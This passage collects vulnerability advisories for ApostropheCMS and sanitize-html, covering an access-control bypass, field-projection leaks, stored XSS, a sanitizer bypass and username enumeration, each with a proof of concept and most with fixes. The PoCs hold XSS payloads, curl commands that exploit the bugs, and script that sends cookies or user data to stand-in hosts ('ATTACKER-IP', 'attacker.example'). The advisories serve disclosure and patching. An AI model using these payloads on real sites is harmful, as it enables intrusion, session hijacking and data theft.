The differentiated-permission boundary that makes this a bypass must exist in the project. In core, permission.can(req, 'create'/'edit', type) is computed per page-type via checkRoleConfig('editRole'), so the boundary is present whenever a project configures a page type (or the archive) with an editRole / publishRole higher than the actor's role, or uses per-page editPermission / the @apostrophecms/workflow add-on to make edit / create page-specific. The core @apostrophecms/archive-page already ships editRole: 'admin' / publishRole: 'admin', and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.
Impact A user with no create/edit rights over a restricted page-type subtree can:
- Relocate a page they control into that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and - Cause an unchecked updateMany to re-rank the restricted parent's existing children — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.
This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.
Proof of Concept (complete — runs on 127.0.0.1 only)
The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real apos.page.move() code path with a non-admin editor request. It creates an admin-only section page type (editRole: 'admin'), an admin-owned secret section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.
Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.
bash 1. Disposable MongoDB on 127.0.0.1 docker run -d --name apos-mongo -p 27017:27017 mongo:7
2. Repo at the anchor git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe cd /tmp/dh-apostrophe git checkout 68f1312d3 # 4.31.0 line npm i -g pnpm pnpm install --filter apostrophe...
3. Drop in the PoC test and run it cd /tmp/dh-apostrophe/packages/apostrophe (write test/poc-move-bac.js below, then:) npx mocha test/poc-move-bac.js
packages/apostrophe/test/poc-move-bac.js:
js // PoC: Broken Access Control in apos.page.move() // A non-admin (editor) can move a page they may edit UNDER a parent page // whose type is admin-only (editRole: 'admin'), bypassing the destination // "create" permission check that move() is supposed to enforce. const t = require('../test-lib/test.js'); const assert = require('assert');
describe('PoC move BAC', function() { let apos; this.timeout(t.timeout);
after(async function() { await t.destroy(apos); apos = null; });
before(async function() { apos = await t.create({ root: module, modules: { // A restricted page type: only admins may edit/create pages of this type. 'secret-page': { extend: '@apostrophecms/page-type', options: { editRole: 'admin', publishRole: 'admin' } }, // An ordinary page type any editor can edit/create. 'public-page': { extend: '@apostrophecms/page-type' }, '@apostrophecms/page': { options: { park: [], types: [ { name: '@apostrophecms/home-page', label: 'Home' }, { name: 'secret-page', label: 'Secret' }, { name: 'public-page', label: 'Public' } ] } } } }); });
it('demonstrates the BAC', async function() { const adminReq = apos.task.getReq({ role: 'admin' }); const home = await apos.page.find(adminReq, { level: 0 }).toObject();
// Admin creates an admin-only "secret" section page directly under home. const secret = await apos.page.insert(adminReq, home.id, 'lastChild', { title: 'Secret Section', type: 'secret-page', slug: '/secret' });
// Admin creates a pre-existing CHILD inside the secret section. Its rank // must NOT be silently rewritten by a lower-priv user's move. const secretChild = await apos.page.insert(adminReq, secret.id, 'lastChild', { title: 'Secret Child', type: 'secret-page', slug: '/secret/child' }); const secretChildBefore = await apos.page.find(adminReq, { id: secretChild.id }).toObject();
// A non-admin EDITOR. Editors can edit/create ordinary pages but NOT // pages of type secret-page (editRole: admin). const editorReq = apos.task.getReq({ role: 'editor', user: { id: 'editor-user', title: 'Editor', role: 'editor' } });
// The editor creates an ordinary page under home (allowed). const mine = await apos.page.insert(editorReq, home.id, 'lastChild', { title: 'My Page', type: 'public-page', slug: '/mine' });
// Sanity: confirm the editor genuinely lacks create/edit rights on the // secret section (so a move under it MUST be forbidden). const secretForEditor = await apos.page.find(editorReq, { id: secret.id }) .permission(false).toObject(); console.log('PRECONDITION editor.create on secret =', secretForEditor.create, ' editor.edit on secret =', secretForEditor.edit); assert.strictEqual(secretForEditor.create, undefined, 'precondition: editor must NOT have create rights on the admin-only section');
// THE ATTACK: editor moves their ordinary page UNDER the admin-only // secret section. This SHOULD throw "forbidden". If it succeeds, BAC. // Use 'firstChild' so the moved page takes rank 0 and the pre-existing // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the // editor cannot edit). let moveError = null; try { await apos.page.move(editorReq, mine.id, secret.id, 'firstChild'); } catch (e) { moveError = e; }
const moved = await apos.page.find(adminReq, { id: mine.id }).toObject(); const secretChildAfter = await apos.page.find(adminReq, { id: secretChild.id }).toObject();
console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)'); console.log('moved page path:', moved && moved.path); console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId)); console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);
// Assertions that prove the vulnerability: assert.strictEqual(moveError, null, 'VULN NOT PRESENT: move was correctly forbidden'); assert.ok(moved.path.includes(secret.aposDocId), 'VULN: editor relocated their page under the admin-only section'); assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank, 'VULN: editor re-ranked an admin-only sibling page they cannot edit');
console.log('\n BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children '); }); });
Observed output (4.31.0, commit 68f1312d3):
PoC move BAC Listening at http://localhost:34129 PRECONDITION editor.create on secret = undefined editor.edit on secret = undefined move threw: NOTHING (move succeeded) moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d moved page is now under secret? true secret child rank BEFORE: 0 AFTER: 1
BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ✔ demonstrates the BAC (390ms)
1 passing (6s)
The precondition holds (editor.create on secret = undefined), the move did not throw (NOTHING), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "targetId": "<restrictedSectionId>:en:draft", "position": "firstChild" } (the route reaches move() after only the page.edit gate on the moved page).
Remediation Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:
js if ( (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && !(oldParent.type === '@apostrophecms/archive-page' && parent.edit) ) { throw self.apos.error('forbidden'); }
That is: a cross-parent move into a non-archive destination is forbidden unless the actor has create on the destination — with the single exception that restoring a page out of the archive into a destination the actor may edit is allowed. Equivalently, fetch the destination with .permission('create') (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher editRole/publishRole, mirroring the PoC above.
Please credit 5ud0 / Tarmo Technologies.
Summary
Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.
Details
The vulnerable code is at packages/sanitize-html/index.js:569-573:
javascript } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { // htmlparser2 does not decode entities inside raw text elements like // textarea and option. The text is already properly encoded, so pass // it through without additional escaping to avoid double-encoding. result += text; }
The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:
javascript const htmlparser2 = require('htmlparser2'); const parser = new htmlparser2.Parser({ ontext(text) { console.log(JSON.stringify(text)); } }); parser.write('<option><script></option>'); // Outputs: "<", "script", ">" — entities are decoded
Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.
The execution flow: 1. Attacker submits: <option><img src=x onerror=alert(1)></option> 2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)> 3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true 4. Line 573: result += text — writes decoded text directly without escaping 5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags
The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.
Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.
PoC
Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.
Step 1: Basic tag injection via option javascript const sanitize = require('sanitize-html'); const output = sanitize( '<option><script>alert(1)</script></option>', { allowedTags: ['option'] } ); console.log(output); // Expected (safe): <option><script>alert(1)</script></option> // Actual (vulnerable): <option><script>alert(1)</script></option>
Step 2: Element breakout with XSS event handler javascript const output2 = sanitize( '<option></option><img src=x onerror=alert(document.cookie)></option>', { allowedTags: ['option'] } ); console.log(output2); // Output: <option></option><img src=x onerror=alert(document.cookie)></option> // The <img> tag escapes the option context and executes the onerror handler
Step 3: Textarea breakout (also vulnerable) javascript const output3 = sanitize( '<textarea></textarea><img src=x onerror=alert(1)></textarea>', { allowedTags: ['textarea'] } ); console.log(output3); // Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>
Step 4: Full select/option context breakout javascript const output4 = sanitize( '<select><option></option></select><img src=x onerror=alert(1)></option></select>', { allowedTags: ['select', 'option'] } ); console.log(output4); // Output: <select><option></option></select><img src=x onerror=alert(1)></option></select> // Breaks out of both option and select elements
All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.
Impact
- Complete allowedTags bypass: Any HTML tag can be injected through an allowed option or textarea element using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow option or textarea tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (onerror, onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default allowedTags does not include option or textarea. However, these tags are commonly allowed in applications that handle form-related HTML content.
Recommended Fix
Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).
diff --- a/packages/sanitize-html/index.js +++ b/packages/sanitize-html/index.js @@ -566,11 +566,6 @@ function sanitizeHtml(html, options, recursing) { // your concern, don't allow them. The same is essentially true for style tags // which have their own collection of XSS vectors. result += text; - } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { - // htmlparser2 does not decode entities inside raw text elements like - // textarea and option. The text is already properly encoded, so pass - // it through without additional escaping to avoid double-encoding. - result += text; } else if (!addedText) { const escaped = escapeHtml(text, false); if (options.textFilter) {
This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.
Summary
The choices and counts query parameters in the Apostrophe CMS REST API allow unauthenticated users to extract distinct field values for any schema field that has a registered query builder, completely bypassing publicApiProjection restrictions that are intended to limit which fields are exposed publicly. Fields protected by viewPermission are similarly exposed.
Details
When a piece type configures publicApiProjection to enable public API access while restricting visible fields, the restriction is enforced via a MongoDB projection on the main query (piece-type/index.js:1130-1134). However, the choices and counts query builders bypass this protection through a separate code path.
The vulnerable flow:
1. getRestQuery at piece-type/index.js:1120 calls applyBuildersSafely(req.query) (line 1122), which processes query parameters including choices and counts since both have launder methods (doc-type/index.js:2627-2628 and 2675-2676).
2. The publicApiProjection is applied afterward (line 1130-1134) as a MongoDB projection on the main query.
3. During query execution, the choices builder's after handler (doc-type/index.js:2636-2668) iterates over requested field names. The only validation is: - The field has a registered builder (.has(query.builders, filter) at line 2651) - The builder has a launder method (line 2656)
All schema field types (string, integer, float, select, boolean, date, slug, relationship) register query builders with launder methods via addQueryBuilder in addFieldTypes.js.
4. toChoices (line 2661) calls the field's choices function, which typically calls sortedDistinct → toDistinct. The toDistinct method (doc-type/index.js:2811) executes db.distinct(property, criteria) — a MongoDB operation that returns all distinct values for the given property matching the criteria. MongoDB's distinct operation does not respect projections; it operates directly on the specified field regardless of any projection set on the query.
5. The results are stored via query.set('choicesResults', choices) (line 2666) and returned directly in the API response at piece-type/index.js:292-296 without any filtering against publicApiProjection or removeForbiddenFields.
The same bypass applies to viewPermission-protected fields: removeForbiddenFields (doc-type/index.js:1585-1611) only processes document results from toArray(), not the separate choices/counts data.
The page REST API has the same issue at page/index.js:371-376.
PoC
bash Prerequisites: - An Apostrophe 4.x instance with a piece type configured with publicApiProjection - Example: an 'article' piece type with: publicApiProjection: { title: 1, slug: 1, url: 1 } and additional schema fields like 'status' (select), 'priority' (integer), or 'internalNotes' (string) NOT in the projection
1. Verify normal API access only returns projected fields curl -s 'http://localhost:3000/api/v1/article' | python3 -m json.tool Response results contain only: title, slug, url (as configured)
2. Extract distinct values of a non-projected field via choices curl -s 'http://localhost:3000/api/v1/article?choices=status' | python3 -m json.tool Response includes: "choices": {"status": [{"value": "draft", "label": "draft"}, {"value": "published", "label": "published"}, ...]}
3. Extract distinct values with document counts via counts curl -s 'http://localhost:3000/api/v1/article?counts=priority' | python3 -m json.tool Response includes: "counts": {"priority": [{"value": 1, "label": "1", "count": 15}, {"value": 2, "label": "2", "count": 8}, ...]}
4. Multiple fields can be extracted at once curl -s 'http://localhost:3000/api/v1/article?choices=status,priority,internalNotes'
Impact
- Distinct field values leaked: An unauthenticated attacker can extract all distinct values of any schema field on any piece type that has publicApiProjection configured, even when those fields are explicitly excluded from the projection. - Field types affected: All field types that register query builders: string, slug, integer, float, select, boolean, date, and relationship fields. - Count disclosure: The counts variant additionally reveals how many documents have each distinct value, providing statistical information about the dataset. - viewPermission bypass: Fields protected with viewPermission (intended for role-based field access) are also exposed via this path. - Both APIs affected: The piece-type REST API (piece-type/index.js:292-296) and page REST API (page/index.js:371-376) are both vulnerable. - Real-world impact: If a CMS stores sensitive data in schema fields (e.g., internal status values, priority levels, internal categories, user-facing content marked as restricted), all distinct values are extractable by any unauthenticated visitor.
Recommended Fix
In the choices builder's after handler (doc-type/index.js:2636-2668), add validation to skip fields not permitted by publicApiProjection and viewPermission:
javascript // doc-type/index.js, in the choices builder's after handler (line 2644 area) for (const filter of filters) { if (!.has(query.builders, filter)) { continue; } if (!query.builders[filter].launder) { continue; }
// NEW: Enforce publicApiProjection restrictions on choices/counts const publicApiProjection = query.get('project'); if (publicApiProjection && !publicApiProjection[filter]) { continue; }
// NEW: Enforce viewPermission field restrictions const field = self.schema.find(f => f.name === filter); if (field && field.viewPermission && !self.apos.permission.can(query.req, field.viewPermission.action, field.viewPermission.type)) { continue; }
const query = baseQuery.clone(); queryfilter; choices[filter] = await query.toChoices(filter, { counts: query.get('counts') }); }
Additionally, apply the same fix in the page REST API handler (page/index.js) for consistency.
Summary
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
Affected Version ApostropheCMS (tested on version: v4.28.0)
Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
- <title> - <meta> attributes - structured data (JSON-LD)
This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
PoC 1
The following payload demonstrates breaking out of HTML context: javascript "></title><script>alert(1)</script> This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution
PoC 2 This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data. javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script>
Video Proof of Concept
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuuluapa8
Steps to Reproduce
1. Start a local listener: python3 -m http.server 5656 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> 6. Set Schema Type to "Web page" 7. Save and publish the page 8. Have an administrator visit the page
Result - The payload executes in the admin’s browser - The script sends a request to: /api/v1/@apostrophecms/user - The response contains sensitive user data: - usernames - email addresses - roles (including admin)
- The data is exfiltrated to the attacker-controlled server: - http://ATTACKER-IP:5656
Evidence - The attacker server receives: - GET /?data=BASE64ENCODEDRESPONSE - Decoding the response reveals sensitive application data.
Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server
Summary
The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.
Details
Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)
The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:
javascript // modules/@apostrophecms/color-field/index.js:26-38 async convert(req, field, data, destination) { destination[field.name] = self.apos.launder.string(data[field.name]); // ... const test = new TinyColor(destination[field.name]); if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } },
A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.
Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)
The getWidgetElements() method concatenates the CSS string directly into a <style> tag:
javascript // modules/@apostrophecms/styles/lib/methods.js:232-234 return <style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n + css + '\n</style>';
This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).
Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)
The renderNodes() function returns node.raw without escaping:
javascript // modules/@apostrophecms/template/index.js:1164-1165 if (node.raw != null) { return node.raw; }
Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.
PoC
Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.
Step 1: Authenticate and obtain a CSRF token and session cookie.
bash Login as editor COOKIEJAR=$(mktemp) curl -s -c "$COOKIEJAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"editor123"}'
Extract CSRF token CSRF=$(curl -s -b "$COOKIEJAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]"' | cut -d'"' -f4)
Step 2: Create or update a piece/page with a malicious color value in a styled widget.
The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):
bash Inject XSS payload via color field in widget styles The --x prefix bypasses TinyColor validation PAYLOAD='--x: red}</style><img src=x onerror="fetch(https://attacker.example/steal?c=+document.cookie)"><style>'
curl -s -b "$COOKIEJAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page" \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $CSRF" \ -d '{ "slug": "/xss-test", "title": "Test Page", "type": "default-page", "main": { "items": [{ "type": "some-widget", "styles": { "backgroundColor": "'"$PAYLOAD"'" } }] } }'
Step 3: Publish the page.
bash curl -s -b "$COOKIEJAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \ -H "X-XSRF-TOKEN: $CSRF"
Step 4: Any visitor navigates to the published page.
bash As an unauthenticated visitor curl -s http://localhost:3000/xss-test | grep -A2 'onerror'
Expected (safe): The color value is escaped or rejected.
Actual: The rendered HTML contains:
html <style data-apos-widget-style-for="..." data-apos-widget-style-id="..."> .apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(https://attacker.example/steal?c=+document.cookie)"><style>; } </style>
The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.
Impact
- Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience. - Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS. - Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited. - No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.
Recommended Fix
Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):
javascript // Before (line 36): if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; }
// After: if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } else if (destination[field.name].startsWith('--')) { // CSS custom property names: only allow alphanumeric, hyphens, underscores if (!/^--[a-zA-Z0-9-]+$/.test(destination[field.name])) { destination[field.name] = null; } }
Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):
javascript // Before (line 232-234): return <style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n + css + '\n</style>';
// After: const sanitizedCss = css.replace(/<\//g, '<\\/'); return <style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n + sanitizedCss + '\n</style>';
Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).
Summary
The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.
Details
When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:
javascript // piece-type/index.js:1120-1137 getRestQuery(req, omitPermissionCheck = false) { const query = self.find(req).attachments(true); query.applyBuildersSafely(req.query); // [1] attacker input applied first if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ id: null }); } else if (!query.state.project) { // [2] checks if projection already set query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } return query; },
At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:
javascript // doc-type/index.js:1875-1889 project: { launder (p) { if (!p || typeof p !== 'object' || Array.isArray(p)) { return {}; } const projection = Object.entries(p).reduce((acc, [ key, val ]) => { return { ...acc, [key]: self.apos.launder.boolean(val) }; }, {}); return projection; },
When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.
For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:
javascript // page/index.js:2953-2958 } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); }
PoC
Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:
javascript // modules/article/index.js module.exports = { extend: '@apostrophecms/piece-type', options: { publicApiProjection: { title: 1, url: 1 } } };
Step 1: Normal request — observe restricted fields are hidden:
bash curl 'http://localhost:3000/api/v1/article'
Response returns only title and url fields per the configured projection.
Step 2: Bypass projection by supplying project query parameter:
bash curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'
Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.
Step 3: Request all default fields by projecting inclusion of sensitive fields:
bash curl 'http://localhost:3000/api/v1/article?project[id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'
All requested fields are returned, confirming the publicApiProjection is fully bypassed.
Impact
- Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API. - Scope: Affects all piece-type modules with publicApiProjection configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents. - Exploitability: Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.
Recommended Fix
Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:
javascript // modules/@apostrophecms/piece-type/index.js:1123-1134 // BEFORE (vulnerable): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ id: null }); } else if (!query.state.project) { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } }
// AFTER (fixed): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ id: null }); } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } }
Summary
The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.
Details
The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:
User not found — fixed 2000ms delay (index.js:309-314): javascript if (!user) { await wait(); // wait = (t = 2000) => Promise.delay(t) self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); return; }
User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355): javascript const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); // ... URL construction ... await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) });
The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.
Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers: javascript const criteriaOr = [ { username: email }, { email } ];
There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.
PoC
Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.
Step 1 — Baseline invalid user timing: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent-user-'$i'@example.com"}' done Expected: all responses cluster tightly around 2.0xx seconds
Step 2 — Test known valid user: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "admin"}' done Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)
Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.
Impact
- Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance. - Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases. - Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users. - No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration. - Mitigating factor: The passwordReset option defaults to false (index.js:62), so only instances that explicitly enable password reset are affected.
Recommended Fix
Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:
